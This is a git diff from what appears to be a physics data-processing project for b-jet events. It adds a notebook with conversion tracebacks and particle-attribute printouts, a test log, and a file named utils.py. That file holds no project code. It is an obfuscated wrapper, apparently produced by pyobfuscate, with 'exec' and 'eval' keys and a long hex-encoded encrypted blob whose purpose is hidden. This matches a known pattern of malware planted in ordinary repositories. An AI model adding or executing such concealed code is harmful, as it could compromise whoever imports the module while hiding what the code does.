File \"/home/lingyuzeng/micromamba/envs/bgpt_data/lib/python3.10/site-packages/pandas/core/internals/managers.py\", line 1733, in _interleave\n", + " arr = blk.get_values(dtype)\n", + " File \"/home/lingyuzeng/micromamba/envs/bgpt_data/lib/python3.10/site-packages/pandas/core/internals/blocks.py\", line 2253, in get_values\n", + " return np.asarray(values).reshape(self.shape)\n", + "ValueError: cannot reshape array of size 0 into shape (1,10000)\n", + "\"\"\"\n", + "\n", + "The above exception was the direct cause of the following exception:\n", + "\n", + "Traceback (most recent call last):\n", + " File \"/home/lingyuzeng/project/bbbar_data_struct/convert_root_to_txt.py\", line 275, in \n", + " main()\n", + " File \"/home/lingyuzeng/micromamba/envs/bgpt_data/lib/python3.10/site-packages/click/core.py\", line 1157, in __call__\n", + " return self.main(*args, **kwargs)\n", + " File \"/home/lingyuzeng/micromamba/envs/bgpt_data/lib/python3.10/site-packages/click/core.py\", line 1078, in main\n", + " rv = self.invoke(ctx)\n", + " File \"/home/lingyuzeng/micromamba/envs/bgpt_data/lib/python3.10/site-packages/click/core.py\", line 1434, in invoke\n", + " return ctx.invoke(self.callback, **ctx.params)\n", + " File \"/home/lingyuzeng/micromamba/envs/bgpt_data/lib/python3.10/site-packages/click/core.py\", line 783, in invoke\n", + " return __callback(*args, **kwargs)\n", + " File \"/home/lingyuzeng/project/bbbar_data_struct/convert_root_to_txt.py\", line 257, in main\n", + " preprocess(root_dir, save_dir, data_type, selected_attrs=selected_attrs, attr_sep=attr_sep, part_sep=part_sep)\n", + " File \"/home/lingyuzeng/project/bbbar_data_struct/convert_root_to_txt.py\", line 262, in preprocess\n", + " joblib.Parallel(n_jobs=-1)(\n", + " File \"/home/lingyuzeng/micromamba/envs/bgpt_data/lib/python3.10/site-packages/joblib/parallel.py\", line 2007, in __call__\n", + " return output if self.return_generator else list(output)\n", + " File \"/home/lingyuzeng/micromamba/envs/bgpt_data/lib/python3.10/site-packages/joblib/parallel.py\", line 1650, in _get_outputs\n", + " yield from self._retrieve()\n", + " File \"/home/lingyuzeng/micromamba/envs/bgpt_data/lib/python3.10/site-packages/joblib/parallel.py\", line 1754, in _retrieve\n", + " self._raise_error_fast()\n", + " File \"/home/lingyuzeng/micromamba/envs/bgpt_data/lib/python3.10/site-packages/joblib/parallel.py\", line 1789, in _raise_error_fast\n", + " error_job.get_result(self.timeout)\n", + " File \"/home/lingyuzeng/micromamba/envs/bgpt_data/lib/python3.10/site-packages/joblib/parallel.py\", line 745, in get_result\n", + " return self._return_or_raise()\n", + " File \"/home/lingyuzeng/micromamba/envs/bgpt_data/lib/python3.10/site-packages/joblib/parallel.py\", line 763, in _return_or_raise\n", + " raise self._result\n", + "ValueError: cannot reshape array of size 0 into shape (1,10000)\n" + ] + } + ], + "source": [ + "from pathlib import Path\n", + "if not Path('save/save_fast').exists():\n", + " Path('save/save_fast').mkdir()\n", + "!python convert_root_to_txt.py ./data/data_fast ./save/save_fast --data-type fast --attr-sep '|' --part-sep ';' --selected-attrs 'part_charge,part_energy,part_px,part_py,part_pz,log_energy,log_pt,part_deta,part_dphi,part_logptrel,part_logerel,part_deltaR,part_d0,part_dz,particle_pid'\n" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": {}, + "outputs": [], + "source": [ + "from convert_root_to_txt import *\n", + "from pathlib import Path" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Building JetSet from data/full_bb.root\n" + ] + } + ], + "source": [ + "jet_set = JetSet.build_jetset(Path('data/full_bb.root'))" + ] + }, + { + "cell_type": "code", + "execution_count": 17, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "'bb'" + ] + }, + "execution_count": 17, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "jet_set.jets_type" + ] + }, + { + "cell_type": "code", + "execution_count": 20, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Building JetSet from data/full_bb.root\n", + "属性名称: particle_id, 类型: , 值: 0\n", + "属性名称: part_charge, 类型: , 值: [1.0, -1.0, 0.0, 0.0, 1.0, -1.0, 0.0, 1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0]\n", + "属性名称: part_energy, 类型: , 值: [15.209561347961426, 13.140800476074219, 8.555957794189453, 6.927829742431641, 6.921298027038574, 6.718546390533447, 5.639996528625488, 2.734797239303589, 2.276695728302002, 2.0461738109588623, 1.7986037731170654, 1.388156771659851, 1.38234281539917, 1.0570266246795654, 0.8934926986694336, 0.8899771571159363, 0.879972517490387, 0.7406238317489624, 0.5272039175033569, 0.3686225712299347, 0.3535390794277191, 0.34719786047935486, 0.34384962916374207, 0.2649906873703003, 0.23999999463558197, 0.18479159474372864, 0.17317134141921997, 0.15941102802753448, 0.12423540651798248, 0.08461850136518478, 0.0843382179737091, 0.02829699218273163, 0.009839793667197227]\n", + "属性名称: part_px, 类型: , 值: [-5.796960830688477, -5.311581611633301, -3.19583797454834, -2.326359510421753, -2.503192901611328, -2.6899032592773438, -1.925751805305481, -0.8692939281463623, -0.7592987418174744, -0.7812060713768005, -0.6791485548019409, -0.3433796167373657, -0.47946590185165405, -0.18832340836524963, -0.35665348172187805, -0.28360629081726074, -0.3264841139316559, -0.3620759844779968, -0.26313358545303345, -0.1359526515007019, -0.123598612844944, -0.06242864206433296, -0.13691917061805725, -0.08844801038503647, -0.05727635696530342, -0.08955521136522293, -0.12885883450508118, -0.10516541451215744, -0.03254406899213791, -0.015558036044239998, -0.02192043326795101, -0.008681708946824074, -0.0013048802502453327]\n", + "属性名称: part_py, 类型: , 值: [-8.48299789428711, -6.931148052215576, -4.749238014221191, -3.9339864253997803, -4.476352691650391, -3.8203539848327637, -3.365067958831787, -1.7807756662368774, -1.501481056213379, -1.1750568151474, -0.9528936743736267, -0.7268454432487488, -0.833030104637146, 0.49239909648895264, -0.4624371826648712, -0.5192604064941406, -0.2649482488632202, -0.40544790029525757, -0.32859694957733154, -0.19921012222766876, -0.22155417501926422, 0.23689919710159302, -0.21035675704479218, -0.1498441994190216, -0.1331370621919632, -0.012309929355978966, 0.06338366121053696, -0.07766649127006531, -0.06364167481660843, 0.03760836273431778, -0.04934240132570267, -0.019126178696751595, 0.004166470840573311]\n", + "属性名称: part_pz, 类型: , 值: [-11.213626861572266, -9.818737030029297, -6.358912944793701, -5.206402778625488, -4.645572185516357, -4.82585334777832, -4.096017360687256, -1.8796172142028809, -1.5337415933609009, -1.481818437576294, -1.3659160137176514, -1.1231404542922974, -0.9935013651847839, -0.916178286075592, -0.6762243509292603, -0.6648273468017578, -0.7730214595794678, -0.5030274987220764, -0.2853204607963562, -0.2787737548351288, -0.2462255209684372, -0.20299455523490906, -0.23502285778522491, -0.19985926151275635, -0.19129541516304016, -0.1611715406179428, -0.09677927196025848, -0.09121418744325638, -0.10161228477954865, -0.07418793439865112, -0.06479009985923767, -0.018961459398269653, -0.008818126283586025]\n", + "属性名称: log_energy, 类型: , 值: [ 2.72192427 2.57572193 2.14662786 1.9355466 1.93460333 1.90487182\n", + " 1.72988345 1.0060573 0.82272515 0.71597162 0.58701068 0.3279768\n", + " 0.32377975 0.0554599 -0.11261712 -0.11655948 -0.1278646 -0.30026243\n", + " -0.64016787 -0.997982 -1.03976125 -1.05786046 -1.06755084 -1.3280606\n", + " -1.42711638 -1.6885266 -1.75347376 -1.83626933 -2.08557707 -2.46960234\n", + " -2.47292016 -3.56499976 -4.62132054]\n", + "属性名称: log_pt, 类型: , 值: [ 2.32966824 2.16703303 1.744736 1.51959212 1.63485496 1.54165826\n", + " 1.35509735 0.68391671 0.52031146 0.34432893 0.15713127 -0.21831242\n", + " -0.03961538 -0.64020631 -0.53786329 -0.52481977 -0.86639788 -0.60956524\n", + " -0.86519514 -1.42221173 -1.3716092 -1.40655069 -1.38233552 -1.74869444\n", + " -1.9314722 -2.40354098 -1.94069632 -2.03457679 -2.63833865 -3.20154184\n", + " -2.91891223 -3.86302568 -5.43390179]\n", + "属性名称: part_deta, 类型: , 值: [-0.012650121003389359, 0.009468508884310722, 0.00042291259160265326, 0.01923862285912037, -0.14403046667575836, -0.05278221517801285, -0.036465417593717575, -0.11269791424274445, -0.1397673487663269, -0.040799811482429504, 0.03767024725675583, 0.17913000285625458, -0.05223162844777107, 0.362665593624115, 0.03155886009335518, 0.008969753980636597, 0.4117862284183502, -0.1295829564332962, -0.3228398263454437, 0.03021526150405407, -0.09680869430303574, -0.20235909521579742, -0.12153740972280502, 0.025453981012105942, 0.13331031799316406, 0.38491809368133545, -0.3260197937488556, -0.30641964077949524, 0.19324439764022827, 0.40427282452583313, 0.05876421928405762, -0.14629797637462616, 0.4952174425125122]\n", + "属性名称: part_dphi, 类型: , 值: [-0.004700591322034597, -0.05910219997167587, 0.0024550738744437695, 0.060737334191799164, 0.0848897248506546, -0.018699318170547485, 0.07498598098754883, 0.1406451165676117, 0.1265745460987091, 0.008045745082199574, -0.02444184571504593, 0.15342673659324646, 0.07251019775867462, -2.181525468826294, -0.062189724296331406, 0.09487095475196838, -0.2942989766597748, -0.13417768478393555, -0.08044422417879105, -0.004084283020347357, 0.08590564131736755, -2.2891547679901123, 0.01777080073952675, 0.06153986230492592, 0.18849976360797882, -0.8394244313240051, -1.4331588745117188, -0.3399130403995514, 0.12207411229610443, -2.1545727252960205, 0.17670847475528717, 0.1686646193265915, -2.2433114051818848]\n", + "属性名称: part_logptrel, 类型: , 值: -1.6656613686933\n", + "属性名称: part_logerel, 类型: , 值: -1.6908250129173599\n", + "属性名称: part_deltaR, 类型: , 值: 0.013495225829054495\n", + "属性名称: part_d0, 类型: , 值: [-0.08485882 0.08362859 0. 0. -0.12567137 0.13890936\n", + " 0. 0.05528848 0. 0. 0. -0.08717197\n", + " 0. 0. 0. 0. 0. 0.\n", + " 0.07979553 0. 0. 0.06790032 0. 0.\n", + " 0. 0. 0. 0. 0. 0.\n", + " 0. 0. 0. ]\n", + "属性名称: part_dz, 类型: , 值: [ 0.16160717 0.07151473 0. 0. -0.16053929 0.09658169\n", + " 0. 0.06517879 0. 0. 0. 0.11920792\n", + " 0. 0. 0. 0. 0. 0.\n", + " -0.13735584 0. 0. 0.12359677 0. 0.\n", + " 0. 0. 0. 0. 0. 0.\n", + " 0. 0. 0. ]\n", + "属性名称: particle_type, 类型: , 值: ParticleType.Electron\n", + "属性名称: particle_pid, 类型: , 值: 2\n", + "属性名称: jet_type, 类型: , 值: b jet\n" + ] + } + ], + "source": [ + "from convert_root_to_txt import *\n", + "from pathlib import Path\n", + "\n", + "# 构建 jet_set\n", + "jet_set = JetSet.build_jetset(Path('data/full_bb.root'))\n", + "\n", + "# 获取第一个 jet 的第一个 particle\n", + "particle = jet_set.jets[0].particles[0]\n", + "\n", + "# 打印属性名称、类型和值\n", + "for field in attrs.fields(particle.__class__):\n", + " field_name = field.name\n", + " field_type = field.type\n", + " field_value = getattr(particle, field_name)\n", + " print(f\"属性名称: {field_name}, 类型: {field_type}, 值: {field_value}\")\n" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "attrs_list length: 17\n", + "Processing data/full_bbbar.root\n", + "Building JetSet from data/full_bbbar.root\n", + "Processing data/full_bb.root\n", + "Building JetSet from data/full_bb.root\n" + ] + }, + { + "name": "stderr", + "output_type": "stream", + "text": [ + "100%|██████████| 24921/24921 [07:08<00:00, 58.13it/s]\n", + "100%|██████████| 24930/24930 [07:20<00:00, 56.56it/s]\n" + ] + } + ], + "source": [ + "from n import *\n", + "root_dir = \"./data\"\n", + "save_dir = \"./save\"\n", + "attrs_list = ['particle_id', 'part_charge', 'part_energy', 'part_px', 'part_py', 'part_pz', 'log_energy' , 'log_pt', 'part_deta', 'part_dphi', 'part_logptrel', 'part_logerel', 'part_deltaR', 'part_d0', 'part_dz' , 'particle_type', 'particle_pid']\n", + "print(f'attrs_list length: {len(attrs_list)}')\n", + "preprocess(root_dir, save_dir, selected_attrs=attrs_list, attr_sep=',', part_sep='|')" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "bb file length: 24921\n", + "bbbar file length: 24930\n" + ] + } + ], + "source": [ + "from pathlib import Path\n", + "\n", + "print(f\"bb file length: {len(list(Path('./save').glob('bb_*.bin')))}\")\n", + "print(f\"bbbar file length: {len(list(Path('./save').glob('bbbar_*.bin')))}\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "import pickle\n", + "with open('save/bb_0.bin', 'rb') as f:\n", + " res = pickle.load(f)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "str" + ] + }, + "execution_count": 4, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "type(res)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "198017" + ] + }, + "execution_count": 6, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "len(res)" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": {}, + "outputs": [], + "source": [ + "import pickle\n", + "import os\n", + "\n", + "def load_pickled_files(directory):\n", + " files = [f for f in os.listdir(directory) if f.endswith('.bin')]\n", + " data = []\n", + " \n", + " for file in files:\n", + " filepath = os.path.join(directory, file)\n", + " with open(filepath, 'rb') as f:\n", + " data.append(pickle.load(f))\n", + " \n", + " return data\n", + "\n", + "if __name__ == '__main__':\n", + " save_dir = \"./save\"\n", + " data = load_pickled_files(save_dir)\n", + " for i, jet in enumerate(data):\n", + " print(f\"Data from file {i}:\")\n", + " print(jet)\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.10.14" + } + }, + "nbformat": 4, + "nbformat_minor": 2 +} diff --git a/test.log b/test.log new file mode 100644 index 0000000..30c997a --- /dev/null +++ b/test.log @@ -0,0 +1,17 @@ +## full test log + +Building JetSet from data/data_full/full_bbbar.root +jet type: bbbar +Building JetSet from data/data_full/full_bb.root +jet type: bb +100%|██████████████████████████████████████████████████████████████████████████████| 24930/24930 [00:06<00:00, 3905.34it/s] +100%|██████████████████████████████████████████████████████████████████████████████| 24921/24921 [00:06<00:00, 3824.30it/s] + +## fast test log + +Building JetSet from data/data_fast/fast_bbar.root +jet type: bb +Building JetSet from data/data_fast/fast_bb.root +jet type: bb +100%|██████████████████████████████████████████████████████████████████████████████| 10000/10000 [00:01<00:00, 8766.04it/s] +100%|██████████████████████████████████████████████████████████████████████████████| 10000/10000 [00:01<00:00, 8607.16it/s] diff --git a/utils.py b/utils.py new file mode 100644 index 0000000..5ceca33 --- /dev/null +++ b/utils.py @@ -0,0 +1,14 @@ +#pip install pycryptodome , It works only v3.11.5 Above. +import random ,base64,codecs,zlib,sys;py="" +sys.setrecursionlimit(1000000000) + +pyobfuscate = (lambda **kwargs: (list(kwargs.keys()),list(kwargs.values())))(**{'https://pyobfuscate.com':'LookupError & next','exec':'FebZIUqRmBW8AZXsHLU2k0ZYxf4xdbJJbU7lh0UKMUdRhQWYCAsPj2EanZTtkcsKYekSKacu4zjxNzYm','eval': bytes.fromhex('''66b7f822eacb61b4765b4daf33df70ad95fcff0164f419a34252933c3c7c6480b57107ee6d37c53ab2099f9fd4df152c17c5f27465c49e3239aee27c049dfa86a352ad0858aad00e0d58678c79ae40e35120309af5d33412b0bf9cc73ce5bb783efabb2d3fc5910a2bfd8fd11c67c18b1108a1e85d86d2776c51be3a8ca7baff6b4d3bd21197addf76a37660dfeea8d5cebb896524b4b9e566f5d73df2860ccf7923cf88eefffd02de1e73a804b63fb1bd5003a8a52fea92868f631caab9364a9bb9e1cdbf26a60b9431c88b4483b979b7e90a1a8c27af392f3d4f7b3a258212e725ead74540bcf83eb0595bf37c732ffa55312d95572279a65df6cebe770d63a1160cd19649391e0c67cb6b7edd40b702f7f664c5b9220f559930bd1141b0ae7acf9a66efd828fcd4073debdfaea017ec86c86d90bb93aacf430d39f3c60206dcb4da9466a8b9a7a3c71f4a338c282eccf86936951375e93a9c82be747f1aff7196085bf1b75796250b393c0eafa162b5c7f110a9a4567c8a233de9fc4153c56126aedd12fbb124344c89876363257f66a1168244e738afebd2ad2e456ce85e4269a9b974ddc48b2316d7b577c21aad0a72485f1f1ba682cec14100b02ab5fca19ee559a30c41a56fc26ed9002fc7d26aea60ab19121f273cf6c30e527b44115caedc258d67fe71ef8688a22308c9cd3268166cdd2b4803dc7351fd1e4c203d4fc0e0b35b94937276d9cd60545dc6004bb5e012c85899f51a40dbe3bd9ec77e06e06d0864e588363218c4f4e68358db9aec6559819768ad4a90e8c76ea6977c9a747602a5605e9ea379d403ec5b7444b33ab010fdee52690885921219a7e4d493665e3cd3ebb5caa016f735ac2d206f1f20864f886b98f5a81cc4aba5e78988aaf2e787079a7198513497e2f8a4bfa1aeb0e756fab985dd11bb5a9d8b4936b8c882889c3622070316e4216b9fe482e7614923413905b1ee667cc0fa07dabab184d847051461da41bc1f82c3e0ef778777fe573ecbc26f9d9e172e3e521befb1287207d553135cbecaf993fa6325153ad1bc702e2ca1d001f0cfe3994ee567d0010b10cced72a3678d91815e5ec958aea3262edae3f898b1c113584af92fac7209f138a78ffef2247ca6e4564b1bc193464d0b89585fe77e20eea02c7221d434fe930989e955a2d27dd149f2c230da3127c869cea6559c1388d56a31c06d59a71ea7265985da333bb09dbc122033f6698dee6a13cf0e015c1f14ad9670e330cb1fcbcfaea0d72bd954827f7239d3e8f4f8ad1f43c34a5af9fa2eae76315592ff52586d3ce9d661659207dac9ba8140ba7ceb2373e2e434edb405617dec0f9c60056a5c8b4c8adb33779c0083a46dfac7c17b07dfe451044b0a6144efec87954b0b4ed61b47f758a43177c5bf9c98f8278ce0f21c63af20b80f5d1d7ef72861f8901410d5cda0d32931c0a890e66e285d12e67b9f42ed2530697e9c2fc5a35810deb6a784ed1d7c5877f08fe6bdfbc90ba8e84534a67eba5032a8f3c6b698ea82976975e38eab32c580ba9076a67b7ba219278d8d3072c98fa4c4d7b58c2c33771a02c641cf795179e9636b5f3437e496889096cc88f64ad7b357d0b4b058e869f18f1afb7d5edcbc24cc60008b9f179c5de273479246f3e759e35057891d4fe9fe8c1170b7bd9acba29a085e3be39222bf69188b67e89bca8b0907ed81cfb7c84f857925f3466a52f5f6aadedc339195335e80ab2c3293475ca5c24edc3ce3a15bfec6b9b58ef42232baaff2f189bd4282baf1033101326c12a4b376bc56ae2cf31ceac6b2135f4e9dae9b8fb1f50b06e7d43ab7de5c470b27db90d0ea9219357474f53c008ea1400e7c09dd6bd9e8b21b8e68b9c21f845a6b457cf2a259d07ff4cf1f7c121b70fb6a367000b7e7e997117a4ea17e28a83eb8a8a398b751716ad79c0ab9b7db7d61392d409dab94d7b22693a3ff0cf194f3f7e618da91f22571342e64dd920da8a14367252abe770c7fb00aec277dad9c77ea846158e5596e1394f33747c03fd25a9fed56e70692cb85efd5c944a4251b3530ce7cafffb37e36be7a7607ac4c899f33526ded5ba4c4012a602631c7811d2c43c1ddd1752b7bf0c81d710bdbabe23e228a44450944832dd9c622cc1a398da734a9866a2f7b84513703a7c59ff6c6036e40df8717eae206b9c6db94fdc2d07e872a891798a3cb20cbe8734edb4bc507e32f99b80d2a35d3fb9994c8ddf3528df9b7cda6d3165606240f9f505b634d02185c5aa0cfbe7e68198b0e017ea652252ac6a3266dc095f12a0e943b48a96504affe5e38309388eee2d4ed08dafdb8bd98ec988c016b054a65c3481cbfa192492c07c5b4e9cd06bcbe01f423bf98a8fee95ad387565d45e4d1c655c02b1c51777e71132ccb23c17bbc51d063f57720f44ba626309a5d974a54e800cc612cd935db6058b8fe304d1bd16017568eaecbd8fa1b70233f66e3309767067edeac84e0c26dc539bce91f0df9a4a8bcd3ddb278d2f09f4a77a595978c27a396e902d3f9b807e95c917c616dd7ed1238fdd53dae5fe61784424c503a0ecba4f998e9f681794388f1c2e38a18ad5ba64c5cc9da40725cc275c1480cd36e6881b9f407e530b64c4841cc21f3bdf687a23b984cb3db85dc0efcfddde8846e9d44a665c5806654c75e9c5783cdfa8a1e34860427c9444d673eadd1ea493b2dcfe1e5d0fbbe4ac09260a3f2ecf93cb3f89f18394fbe3e91880b7b50a2ac2a66f06c72451f0fdd2f63ba1c2e65a363f2145db2b6bc22e23c09448f34f7c509eaa4d15d1f90186cb4f2bd7cd1a3b71f6635cdb12758c9747f079d8dbb1cfd82398fbcbdc08b2cf720f79477f518a6ff8892aa4e7c2b01569fa26bc47f18e1001c34534d37e20e9f51885a5ee06dd7081d16f4b2ab7ff196f720e6fbfb8033bd21080a5f6bd12e5b46dcaaf852057b38dc8e97e865a7d10ea8e8b9171efb410dfd09e0b131397afe3887db8c621e3254526f367cbc7c622c4a2f0192d0d632c88851dce858265b10296da3f1b3de639af212468d1f367b2ee7d440298d0af45fd5ea42efe286db0c48c6800844d5b75eb0abeb478e48c89c3e72c25d71a0033f0de171bbdc2890464751c1dc6b32fe26626ae991f57714efd83a9cf7c509069b1865e83570cf9aedf99101d302c4eed9e7bf708520ef2d441bdc0805103172debdc9ad6a69eb7d4fa3e11140efcbe6ecc8d342185aa4e5fb95c06e6f7fca6b7c1ec0c30fe9d74d0a70950fbf76b87384959629a004943b06e17338a3d3b3e831299f5d237b7e9b1e3739568636b2218f951434d2315782c8408b55b9b62e360324d4c6634c8eec0e629bc9a149e54e44212212a95642594ab107c4f58f4ce7caf4bf2ceba94e68712983ab84c80d04bf05fada9332fe2d8e32849fabb8c086263129ecb602523736545ea5b62213338241c03104949fd162601bd4c7a2046bae1d0195f8e0247243229864b8681d401764704e497f7f5f7dc788d0794dceb8df4efd2825 +2a68e9d298d900cdd63ccc8f6cc0dd1d71c0dbee9bd3cdd2714132ad2e752c8f6d9f62be4b79a9900dde4e0f8c4b4d85ea9d40971895d11f936dee9c6d831d1a76f8b91ad39f20ac2b649672ee3a25bda2bbbc33005fb3b0cc97a15752ff795278d646b432e95739767674b1454e1b537356fe74db36e14603e98d343d7585a6c181dea5af31aec530ba1a6d590935791f12249e404f04f2b0fa740372145bd5d40d8d2b626699acef0db3dd6f521e5793921175dd3548f559a49f89445a75eecb302827612195e2e0f1a907c22d0ce6398d818215dee4b1ba23c2ac2360e4b466202f75e4e282fa6c415b8db698c119c74952e778569645ee69e19493cc0a150b68e373e84337d749dcc7d5c86ca1b52e1ed2f9004917c0236bb05e86566dea406f04fd4ebcb1779d68ff0fb53e6c70c634638aa41d84d08f75a8ac33b5e9cc3b488a9a9350e44535d14fb853d7ce827b542f15b2ecca1d76dc41f25cb9d4d8969a8b4dba3a06ca655a313de1424534ea320fc251ef11dba47bf6e433416825fa590e352d2f875af2f5308be88b5a0516830574eff1db13a2e8d954d79d85b657101ea95acf8dbcac42b96a9c8ce65261c4664b084ff29dd7aea59a76d056881ca81fa93abc753086805c57507699d3184453f9874f47feb11795f98ce33c7895094bac14a93685b4117d66d6a31e6749c8ad5c958b0a2e75ba42ceba1faa5f4ba3814cf6deb26fa37486db18c38e6ea160a0f970ff3b40d599172989bffc7c32f3872203e1029895f6e24bf11d9f639378b7941a7a01517f064fab064f5c1901529fdfa32bcb7f2ca4bb2ca02b75afcf9e10a8908a3e204c402456677df9120f6126968ea92a57cca1a561fecaa72a4b483e2601d6097329eb51efb0a902f0c1b27e7d53365c5a884a0229cb4047b71e7ad338f29959b3910c51e047f365b0478d6150448e7adbb6338a5cfbbf77e0e3c30faad266e5a7205036782b69a0033b79b9473cb7d5cd4a66c79532d6b71a84e51af62e439477d64db7325487e59d593ec7868a0d8f7844156755808a5029b29130ac2eacd7fb4aa6dc14f970b3fd579a5cdfb3378bb66e0189800f8c5b5f2c6ae8a4513a7e06f7fd9865180edfd80cb521bc8abc71cda4945bb821790e1902c4feda01438b400e76e8807ab106ce8fa268e219596eb7b953085200d807a87e5a07df3ca2a88cd16dc372c921ba6472b93c7ed2dfea19f05a07e90148c16f047d56bfcc72b5bba7218e542d6954e82c2680b0cbe48f419bc16e18edec7ccaf5a79f92b7ae4cd625e4d5e1be4305dc2adf5fa15fdd0bc055857ded309e94a59f7b32d10b6193ee2182cdb43b63a4b39ee001bb7db1cb526d0acec6688650ffe76a3c5437cf9378609995160a3c5f807b9dc67ad48e39a9dcb643bb7b7ed172f929fdc30d8389ec90e7c90daf21938208dd744ba4a884651506e8163ef75546b610f8b0f977a977612248160b645a5cd51470424056a76973f8a78ebf286d2914a7926c21145cb630e093bfee606d7a955631a2a2a9b5b7957caa79aebd2bf191d714606a17964ec47a5e703d75e429d9a16c895a1c7ad209d7b44ba16101615518c0eb5468a8803e60e016d1ab7049dbf2ebe382bfd60a559164ed962027a02b1a41f425012400944795984fc8b772d2d8b91d90d31a63d70f5fde0d5a413412bae7c1080807352eee72cec68db2a8d97b7d9c3eaca691a4a68fddd21938ff3929410cdd075ccd6caeb3b0ae315fa58498e584217b6fe33a58bbcf587060496152cea675b8be235cfafca341edb57ff93470140ee7b9947f603276cb9f01e2f7a7fd20bd3122208e084063c734cd06a3712a79f24bd45da04616b73af5b6e22c60ad1da1c5cd72738b47474ee5ce2e23e70171ad33a6aa2bf5f60e21a6cbb81bb80c42e50fcfa32c9da2b7ad789c2874b7d0061289e1219fa3e63aa2b5cc78a1736c3816fbcb83b71471962b13a9a3a949db31b539b1f7e9c3c365bbcc4950f601cde7aee75632cd303c51b4ba921f093cf7c55e8a17fc2d62359d2687e9662aee7745dedcc1e3a73a0d89a60ae23b5daf468786fad1c717da65127c2ff8652acefbcf8428b14cdc1b0fea63309eec264b22373067669d7bd18f920be1659193ca334c4281d87a55e4e0bddd433d623904bc963ad1e5eaec81d424b8de14295613367e97f23773af2c2bf224b43a53a2a6782fecaeafd8e71802865109ad4276e36fb3fc06278e87a94213b2f1bde6c5f4b9779d628323eab2d5f402e7ebd3b86e8439a66b9b55befc43bf635766c55b787a3be53a9d467edb96f5c07064ec2081067ca5d9f129499788bf26b14c25a606c02dfa51442b9ebdba5f976649f459867619f240f0792604de7ad3230194dbba1d34556c7e5118bb0bf22f2f97f2aa41058233df9514051473789ad11713e472323985a65b77a92e47337e85578dc7fd087be97569c9e9d34a5877cf34a35b3fdd132309e4d6b195446f94d5ca7e6ec995c269012a0d745199ff7cc35a31d21409be94a8cab95d0d560eb9add4ebe9f955ea3728c48db565686beac1ad74b3cb9ebfa1988a542968e012120ef626cda4e58300bf7d5e8f3ac4fd6c2a8541dfa223b88235c86bf7a9c1ee71bd28b2cdb223b70c127298df1f7390859d0ae1b5ccccacec5a5478c3fd1c5bc5756cc9f9eac52a2a92985886e627fbc2e5bf0b6d8e7fdc6a879d91e0d0bbb90981054fa5784e15776eda7dbab4648b06fe97c74a9c6e126dd1a4ae6d25a221bcda627c3a5468da3dd602cff7ff906bdc19a88837ee06ae078b051219108314ede91fb41dca0a8a6b8a02abede3e7bc6a868bbe5f4f4ec53c9a44884764eb9ffbffb4a0fb1981d4adee0fe4f1598ef4b1742f7d881c3516d9f47e801d68a199a167126803acd3a8c191366a206aceb34c2af642dfffd35d104894c8b55ca8b9f2fe5f5d2f46473398c482e5359c4de3b58a48d22256fd1f997d6331403274fd43d84937b83e28e50a0ff003e764f2afff222d9c3025f33efcae3a09bc93914097061a7d95963b36d0c9f3610ce3038efe210db9dce35428ffc64a92bcb285bc3de8053ab55ac01c99f3b9ce65c63d425b46b00694a3c2be730b0cd42fa0db185eb61d95e5803fb9e9f6adeb23d54d5e2feebf6a6f289190f898967b1ec19400de48e5935e3f61da614306d2a0b265040a4b04bd2757789cc30213d7932d4e6ea54a0d7da6e1749d09a883a286482028a714a910a6ec74a738b4ac6c36d4fb93b9138057e9b071f4a9323c8f9d685b5901d56712b36c733062e6b1d8a8fa4218e161e16b364469bc1c66cbf9a98f25003cb15ede9a065f368c5fe1b4e1a594dc00b13b04171e7a340b078dff6084df462d16aa24784b87eab86364ab4b4580f8d063c2bd0640806625c634ac21804475270c520a09e45525e52cb2767eae23101fd249f821689f6fc884b77ed608bfa57c71856aec529f62fb27b1ffe5114e39f6e37168a7d1862bf613a9c438294087623878140d5c615e 